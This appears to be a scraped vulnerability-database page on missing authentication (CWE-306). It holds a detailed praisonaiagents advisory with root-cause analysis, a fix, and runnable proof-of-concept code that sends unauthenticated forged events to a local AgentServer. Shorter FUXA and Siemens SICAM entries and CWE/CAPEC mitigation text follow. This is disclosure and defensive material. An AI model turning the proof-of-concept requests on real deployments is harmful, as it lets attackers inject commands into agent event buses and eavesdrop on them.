spec=importlib.util.spec_from_file_location("praisonaiagents.server.server", BK+"/praisonaiagents/server/server.py")
srvmod=importlib.util.module_from_spec(spec); srvmod.__package__="praisonaiagents.server"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)

from starlette.testclient import TestClient
# Operator DOES configure an auth_token, expecting it to protect the server:
cfg = srvmod.ServerConfig(host="127.0.0.1", port=8765, auth_token="super-secret-operator-token")
srv = srvmod.AgentServer(config=cfg)            # REAL AgentServer
app = srv._create_app()                        # REAL Starlette app + routes
client = TestClient(app)

print("[*] auth_token configured on server:", repr(cfg.auth_token))
r_info = client.get("/info")
print(f"[+] GET /info  (no auth) -> HTTP {r_info.status_code}; config disclosed: {r_info.json().get('config')}")
r_pub = client.post("/publish", json={"type":"admin_event","data":{"x":"injected-by-attacker"}})
print(f"[+] POST /publish (no auth) -> HTTP {r_pub.status_code}; body: {r_pub.json()}")

assert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get("success") is True
print("[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] auth_token configured on server: 'super-secret-operator-token'
[+] GET /info  (no auth) -> HTTP 200; config disclosed: {'host': '127.0.0.1', 'port': 8765, 'cors_origins': [], 'auth_token': '***', 'max_connections': 100}
[+] POST /publish (no auth) -> HTTP 200; body: {'success': True, 'clients': 0}
[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:31:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Researcher:** Kai Aizen \u2014 SnailSploit (@SnailSploit), Adversarial \u0026 Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonaiagents` on PyPI\n**Affected version (empirically tested):** 1.6.48\n**Component:** `praisonaiagents.server.AgentServer` (the bundled HTTP / SSE server)\n\n---\n\n## TL;DR\n\n`AgentServer.ServerConfig` advertises an `auth_token: Optional[str] = None` field that operators set when they want to lock down the server. The `GET /info` endpoint even displays it back as `\"auth_token\": \"***\"` \u2014 strongly implying the value is wired into request authentication.\n\nIt isn\u0027t. `AgentServer._create_app` never reads `auth_token`, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route \u2014 `/info`, `/publish`, `/events`, `/health` \u2014 accepts unauthenticated requests regardless of whether `auth_token` is configured.\n\nThe same package contains a *sibling* server, `praisonaiagents.ui.a2a.A2A`, written by the same developer, which implements the bearer-token pattern correctly via FastAPI\u0027s `Depends(_verify_auth)`. This rules out the \"auth is not yet implemented; operators are expected to add it\" reading: the developer knew the pattern but did not apply it to `AgentServer`.\n\n## Root cause\n\n```\n   Expected behavior when setting ServerConfig(auth_token=\"\u2026\"):\n     \"Only requests with a matching Authorization header will be\n      accepted on /publish, /events, /info.\"\n\n   Actual behavior (server/server.py, dist 1.6.48):\n     - line 31    auth_token: Optional[str] = None   # declared\n     - line 39    \"auth_token\": \"***\" if self.auth_token else None  # displayed\n     - lines 122-204:  no auth middleware, no Depends, no\n                       request.headers[\"Authorization\"] read,\n                       no comparison to self.config.auth_token.\n\n   Impact:\n     The configuration knob is dead code from the route handlers\u0027\n     perspective.  All routes always run.  The operator has no signal\n     that their auth_token was discarded \u2014 /info even confirms it\n     was received by displaying \"***\".\n```\n\n## Sibling proof \u2014 the same package gets it right elsewhere\n\n`praisonaiagents/ui/a2a/a2a.py`:\n\n```python\n# line 163\nasync def _verify_auth(authorization: Optional[str] = Header(None)):\n    \"\"\"Verify bearer token if auth_token is configured.\"\"\"\n    if self.auth_token is None:\n        return\n    ...\n    if len(parts) != 2 or parts[0].lower() != \"bearer\" \\\n            or parts[1] != self.auth_token:\n        raise HTTPException(status_code=401, ...)\n\n# line 192\nfrom fastapi import Depends\n_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []\n```\n\nThat is the missing implementation. Porting it to `AgentServer` \u2014 either via Starlette `BaseHTTPMiddleware` or by switching to FastAPI and adding `Depends(_verify_auth)` to each route \u2014 closes the gap.\n\n## Affected routes (empirically tested)\n\n| Route       | Method | Accepts unauth requests? | Impact                                                                 |\n|-------------|--------|--------------------------|------------------------------------------------------------------------|\n| `/info`     | GET    | **Yes (200)**            | Leaks server config; confirms `auth_token` is set (`\"***\"`); reveals client count and CORS config. |\n| `/publish`  | POST   | **Yes (200)**            | Anyone broadcasts arbitrary `{type, data}` to every subscribed agent.  Event payload is whatever the attacker sends. |\n| `/events`   | GET    | **Yes (200)**            | Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker). |\n| `/health`   | GET    | **Yes (200)**            | Leaks live SSE client count.                                           |\n\n## Impact\n\nThe `/publish` and `/events` routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:\n\n1. **Inject control events** into every agent process subscribed to the server. `AgentServer.broadcast(event_type, data)` puts the payload into every `SSEClient.queue`; any consumer dispatching on `event_type` will dispatch on the attacker-chosen type. Real deployments register handlers per event type via `AgentServer.on_event(...)`; an attacker who can guess (or enumerate via `/info` + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen `data`.\n2. **Eavesdrop on the entire event bus** by subscribing to `/events`. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the `auth_token` wall.\n3. **Pivot via leaked config.** `/info` is sufficient to enumerate `cors_origins` (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set `auth_token`, signalling a high-value target.\n\n`SSEClient.queue` is a `queue.Queue` with no documented size cap; the event broadcaster does not check `max_connections` against publishers, only subscribers. An attacker can also flood `/publish` to fill every subscriber\u0027s queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.\n\n## Anchors\n\npraisonaiagents 1.6.48, file `praisonaiagents/server/server.py`:\n\n| Line  | Symbol                                                  | What it shows |\n|-------|---------------------------------------------------------|---------------|\n| 31    | `auth_token: Optional[str] = None`                       | Declared. |\n| 39    | `\"auth_token\": \"***\" if self.auth_token else None`       | Displayed (masked) in `/info`. |\n| 121   | `def _create_app(self):`                                 | Route + middleware setup begins. |\n| 132   | `async def health(request):`                             | No auth check. |\n| 139   | `async def events(request):`                             | No auth check. |\n| 164   | `async def publish(request):`                            | No auth check. |\n| 182   | `async def info(request):`                               | No auth check. |\n| 190   | `routes = [Route(\"/health\", \u2026), Route(\"/events\", \u2026), Route(\"/publish\", \u2026), Route(\"/info\", \u2026)]` | Routes registered without `Depends`/middleware. |\n| 197   | `app = Starlette(routes=routes)`                         | App created. |\n| 200   | `app = CORSMiddleware(app, \u2026)`                           | **Only** middleware added. |\n\nSource sha256 (1.6.48, `praisonaiagents/server/server.py`): `aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4` (9,962 bytes).\n\nSibling (same package, same field name, *enforced*): `praisonaiagents/ui/a2a/a2a.py:163-193`.\n\n## Reproduction (empirical PoC)\n\n`poc/poc.py` starts `AgentServer` with `ServerConfig(auth_token=\"supersecret-not-actually-checked\")` and then sends unauthenticated requests to each route.\n\nRun log (`poc/run-log.txt`):\n\n```\n[1] GET /info     (no Authorization) -\u003e HTTP 200\n    body: {\"name\":\"PraisonAI Agent Server\",\"version\":\"1.0.0\",\"clients\":0,\n           \"config\":{\"host\":\"127.0.0.1\",\"port\":18765,\"cors_origins\":[],\n                     \"auth_token\":\"***\",\"max_connections\":100}}\n[2] POST /publish (no Authorization) -\u003e HTTP 200\n    body: {\"success\":true,\"clients\":0}\n[3] GET /health   (no Authorization) -\u003e HTTP 200\n[4] GET /events   (no Authorization) -\u003e HTTP 200\n\nVULNERABLE: 4 unauthenticated routes\nVERDICT: VULNERABLE\nEXIT 0\n```\n\n## Suggested fix\n\nMake `AgentServer` reuse the A2A pattern. Smallest fix:\n\n```python\n# in _create_app, after `app = Starlette(routes=routes)`:\nif self.config.auth_token:\n    from starlette.middleware.base import BaseHTTPMiddleware\n    from starlette.responses import JSONResponse\n\n    expected = \"Bearer \" + self.config.auth_token\n\n    class _Auth(BaseHTTPMiddleware):\n        async def dispatch(self, request, call_next):\n            if request.url.path == \"/health\":     # if /health should remain public\n                return await call_next(request)\n            got = request.headers.get(\"authorization\", \"\")\n            if not hmac.compare_digest(got, expected):\n                return JSONResponse({\"error\": \"unauthorized\"}, status_code=401)\n            return await call_next(request)\n\n    app = _Auth(app)\n\napp = CORSMiddleware(app, ...)\n```\n\nConstant-time comparison (`hmac.compare_digest`) is appropriate since this is a network-comparable secret.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.\n\nThe ServerConfig dataclass declares `auth_token: Optional[str] = None` and\nthe /info endpoint reports it as \"***\" when set, giving operators the\nimpression that requests will be authenticated.  In reality,\nAgentServer._create_app never reads auth_token, never adds an auth\nmiddleware, and never decorates any route with Depends(_verify_auth).\n\nThis PoC starts AgentServer with auth_token=\"supersecret\", then hits\nevery route without any Authorization header.  All requests succeed.\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport threading\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError, URLError\n\nfrom praisonaiagents.server import AgentServer, ServerConfig\n\nPORT = 18765\nAUTH_TOKEN = \"supersecret-not-actually-checked\"\n\ndef http_request(method, path, body=None, headers=None):\n    url = f\"http://127.0.0.1:{PORT}{path}\"\n    data = None\n    if body is not None:\n        data = json.dumps(body).encode(\"utf-8\")\n    req = Request(url, data=data, method=method, headers=headers or {})\n    if data is not None:\n        req.add_header(\"Content-Type\", \"application/json\")\n    try:\n        with urlopen(req, timeout=5) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except HTTPError as e:\n        return e.code, e.read().decode(\"utf-8\", errors=\"replace\")\n    except URLError as e:\n        return None, f\"URLError: {e}\"\n\ndef main() -\u003e int:\n    print(\"=\" * 70)\n    print(f\"praisonaiagents version: 1.6.48\")\n    print(f\"Test: start AgentServer with auth_token={AUTH_TOKEN!r}\")\n    print(f\"      then send UNAUTHENTICATED requests to every route.\")\n    print(\"=\" * 70)\n\n    config = ServerConfig(host=\"127.0.0.1\", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])\n    server = AgentServer(config=config)\n    server.start(blocking=False)\n    time.sleep(1.0)  # wait for uvicorn to be ready\n\n    findings = []\n\n    code, body = http_request(\"GET\", \"/info\")\n    info_data = None\n    try:\n        info_data = json.loads(body)\n    except Exception:\n        pass\n    print(f\"\\n[1] GET /info (no Authorization header) -\u003e HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200 and info_data and info_data.get(\"config\", {}).get(\"auth_token\") == \"***\":\n        findings.append(\"/info: unauthenticated; leaks that auth_token IS configured\")\n\n    payload = {\"type\": \"attacker_injected_event\",\n               \"data\": {\"forged_from\": \"unauthenticated_client\", \"instruction\": \"shutdown_now\"}}\n    code, body = http_request(\"POST\", \"/publish\", body=payload)\n    print(f\"\\n[2] POST /publish (no Authorization header) -\u003e HTTP {code}\")\n    print(f\"    body: {body[:200]}\")\n    if code == 200:\n        try:\n            ok = json.loads(body).get(\"success\") is True\n        except Exception:\n            ok = False\n        if ok:\n            findings.append(\"/publish: unauthenticated event broadcast to all SSE clients\")\n\n    code, body = http_request(\"GET\", \"/health\")\n    print(f\"\\n[3] GET /health (no Authorization header) -\u003e HTTP {code} body={body[:120]}\")\n    if code == 200:\n        findings.append(\"/health: unauthenticated; leaks live client count\")\n\n    sse_status = []\n    def sse_reader():\n        try:\n            req = Request(f\"http://127.0.0.1:{PORT}/events\", method=\"GET\")\n            with urlopen(req, timeout=3) as resp:\n                sse_status.append(f\"HTTP {resp.status}\")\n                try:\n                    chunk = resp.read(64)\n                    sse_status.append(f\"first-chunk-bytes={len(chunk)}\")\n                except Exception as e:\n                    sse_status.append(f\"chunk-read: {e}\")\n        except Exception as exc:\n            sse_status.append(f\"ERR: {exc}\")\n    t = threading.Thread(target=sse_reader, daemon=True)\n    t.start()\n    time.sleep(2.0)\n    print(f\"\\n[4] GET /events (no Authorization header) -\u003e {sse_status}\")\n    if sse_status and sse_status[0] == \"HTTP 200\":\n        findings.append(\"/events: unauthenticated SSE subscription accepted\")\n\n    print(\"\\n\" + \"=\" * 70)\n    if findings:\n        print(f\"VULNERABLE: {len(findings)} unauthenticated routes\")\n        for f in findings:\n            print(f\"  - {f}\")\n        print(\"VERDICT: VULNERABLE\")\n        return 0\n    print(\"DEFENDED\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai-agents\"); sys.path.insert(0,BK)\nfor p in [\"praisonaiagents\",\"praisonaiagents.server\"]:\n    m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nlg=types.ModuleType(\"praisonaiagents._logging\"); lg.get_logger=lambda *a,**k: __import__(\"logging\").getLogger(\"x\"); sys.modules[\"praisonaiagents._logging\"]=lg\nspec=importlib.util.spec_from_file_location(\"praisonaiagents.server.server\", BK+\"/praisonaiagents/server/server.py\")\nsrvmod=importlib.util.module_from_spec(spec); srvmod.__package__=\"praisonaiagents.server\"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)\n\nfrom starlette.testclient import TestClient\n# Operator DOES configure an auth_token, expecting it to protect the server:\ncfg = srvmod.ServerConfig(host=\"127.0.0.1\", port=8765, auth_token=\"super-secret-operator-token\")\nsrv = srvmod.AgentServer(config=cfg)            # REAL AgentServer\napp = srv._create_app()                        # REAL Starlette app + routes\nclient = TestClient(app)\n\nprint(\"[*] auth_token configured on server:\", repr(cfg.auth_token))\nr_info = client.get(\"/info\")\nprint(f\"[+] GET /info  (no auth) -\u003e HTTP {r_info.status_code}; config disclosed: {r_info.json().get(\u0027config\u0027)}\")\nr_pub = client.post(\"/publish\", json={\"type\":\"admin_event\",\"data\":{\"x\":\"injected-by-attacker\"}})\nprint(f\"[+] POST /publish (no auth) -\u003e HTTP {r_pub.status_code}; body: {r_pub.json()}\")\n\nassert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get(\"success\") is True\nprint(\"[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced \u2014 /info + /publish reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] auth_token configured on server: \u0027super-secret-operator-token\u0027\n[+] GET /info  (no auth) -\u003e HTTP 200; config disclosed: {\u0027host\u0027: \u0027127.0.0.1\u0027, \u0027port\u0027: 8765, \u0027cors_origins\u0027: [], \u0027auth_token\u0027: \u0027***\u0027, \u0027max_connections\u0027: 100}\n[+] POST /publish (no auth) -\u003e HTTP 200; body: {\u0027success\u0027: True, \u0027clients\u0027: 0}\n[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced \u2014 /info + /publish reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "GHSA-7g3p-92qq-8wvh",
  "modified": "2026-08-25T14:31:52Z",
  "published": "2026-08-25T14:31:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7g3p-92qq-8wvh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents: AgentServer declares auth_token but never enforces it on any route"
}

GHSA-7G56-FWXJ-CM23

Vulnerability from github – Published: 2026-02-03 18:30 – Updated: 2026-02-04 19:11
VLAI
Summary
FUXA contains an Unrestricted File Upload vulnerability
Details

FUXA v1.2.7 contains an Unrestricted File Upload vulnerability in the /api/upload API endpoint. The endpoint lacks authentication mechanisms, allowing unauthenticated remote attackers to upload arbitrary files. This can be exploited to overwrite critical system files (such as the SQLite user database) to gain administrative access, or to upload malicious scripts to execute arbitrary code.

Severity
8.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fuxa-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-04T19:11:45Z",
    "nvd_published_at": "2026-02-03T18:16:17Z",
    "severity": "HIGH"
  },
  "details": "FUXA v1.2.7 contains an Unrestricted File Upload vulnerability in the `/api/upload` API endpoint. The endpoint lacks authentication mechanisms, allowing unauthenticated remote attackers to upload arbitrary files. This can be exploited to overwrite critical system files (such as the SQLite user database) to gain administrative access, or to upload malicious scripts to execute arbitrary code.",
  "id": "GHSA-7g56-fwxj-cm23",
  "modified": "2026-02-04T19:11:45Z",
  "published": "2026-02-03T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69981"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/frangoteam/FUXA"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frangoteam/FUXA/blob/master/server/api/projects/index.js#L193"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FUXA contains an Unrestricted File Upload vulnerability"
}

GHSA-7GJG-3MRX-XXF9

Vulnerability from github – Published: 2022-05-21 00:01 – Updated: 2025-12-09 18:30
VLAI
Details

A vulnerability has been identified in SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P850 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00), SICAM P855 (All versions < V3.00). The web based management interface of affected devices does not employ special access protection for certain internal developer views. This could allow authenticated users to access critical device information.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-20T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P850 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00), SICAM P855 (All versions \u003c V3.00). The web based management interface of affected devices does not employ special access protection for certain internal developer views. This could allow authenticated users to access critical device information.",
  "id": "GHSA-7gjg-3mrx-xxf9",
  "modified": "2025-12-09T18:30:26Z",
  "published": "2022-05-21T00:01:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29879"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-165073.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-471761.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-165073.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list